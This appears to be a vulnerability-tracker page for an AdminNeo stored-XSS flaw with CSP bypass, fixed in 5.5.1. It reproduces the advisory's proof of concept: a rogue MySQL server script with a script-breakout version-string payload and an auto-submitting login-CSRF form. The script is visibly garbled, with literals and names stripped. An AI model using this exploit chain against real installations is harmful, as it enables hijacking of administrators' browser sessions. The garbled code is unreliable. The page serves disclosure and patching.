Live › vulnerability › CVE-2026-96632
AdminNeo places the database server's version string unescaped inside a script tag that carries a valid CSP nonce. A malicious MySQL server can return a crafted version string that breaks out of the script and runs attacker JavaScript in the browser of whoever logs in.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-30 22:56 UTC. All times on this page are UTC.
AdminNeo instances below 5.5.1 are exposed, because the login flow renders the connected database server's version string into a script tag without escaping. The exploit needs the victim to connect to an attacker-controlled MySQL server, which the sources say can be reached via a Login CSRF page. Teams that do not run AdminNeo, or that run it at 5.5.1 or later, can skip it.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| adminneo-org/adminneo | composer | < 5.5.1 | 5.5.1 |
composer.lock for adminneo-org/adminneo, and see whether it is below 5.5.1.adminneo-org/adminneo 5.5.1Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
AdminNeo inserts the database server's version string into a <script> tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.
Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj
admin/core/Admin.php, lines 1285-1286:
echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");
script() wraps the output in <script nonce="VALID_NONCE">. Return value of Connection::get()->getVersion() is not escaped.
Dockerfile (AdminNeo):
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]
rogue_mysql.py (fake MySQL server that accepts any login):
import socket, struct, threading
PAYLOAD = "1');alert(origin)//"
# Capability flags the client expects
CAP_PROTOCOL_41 = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH = 0x00080000
CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)
def make_packet(seq, payload):
length = struct.pack("<I", len(payload))[:3]
return length + bytes([seq]) + payload
def make_greeting(version_str):
pkt = b"\x0a" # protocol version 10
pkt += version_str.encode() + b"\x00" # version string
pkt += struct.pack("<I", 1) # connection id
pkt += b"\x41" * 8 # auth plugin data part 1
pkt += b"\x00" # filler
pkt += struct.pack("<H", CAPS_LOW) # capability flags lower
pkt += b"\x21" # charset utf8
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper
pkt += b"\x15"
pkt += *
pkt += * +
pkt +=
make_packet(, pkt)
():
pkt =
pkt +=
pkt +=
pkt += struct.pack(, )
pkt += struct.pack(, )
make_packet(seq, pkt)
():
pkt =
pkt += struct.pack(, )
pkt += struct.pack(, )
make_packet(seq, pkt)
():
pkt =
pkt += struct.pack(, )
pkt +=
pkt += msg
make_packet(seq, pkt)
():
conn.sendall(make_greeting(PAYLOAD))
:
conn.recv()
Exception:
conn.close()
conn.sendall(make_ok())
:
:
data = conn.recv()
data:
seq = data[] +
conn.sendall(make_err(seq))
Exception:
conn.close()
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, )
srv.bind((, ))
srv.listen()
( + PAYLOAD)
:
conn, addr = srv.accept()
()
threading.Thread(target=handle, args=(conn,)).start()
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss
# Terminal 2: start rogue MySQL
python3 rogue_mysql.py
Open a browser and navigate to http://localhost:8081/adminneo.php:
HOST_IP:3307 (IP of the machine running rogue_mysql.py)rootxThe rogue server accepts the login. AdminNeo renders the dashboard and includes:
<script nonce="REAL_NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>
The browser executes alert(origin) with full CSP bypass because the script tag carries a valid nonce.
The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:
<form id="f" method="POST" action="http://TARGET/adminneo.php">
<input name="auth[driver]" value="mysql">
<input name="auth[server]" value="ROGUE_IP:3307">
<input name="auth[username]" value="root">
<input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
This page as .md · .json · in your agent: get_signal("CVE-2026-96632")
GitHub Advisory Database, CC-BY 4.0. Posts quoted belong to their authors.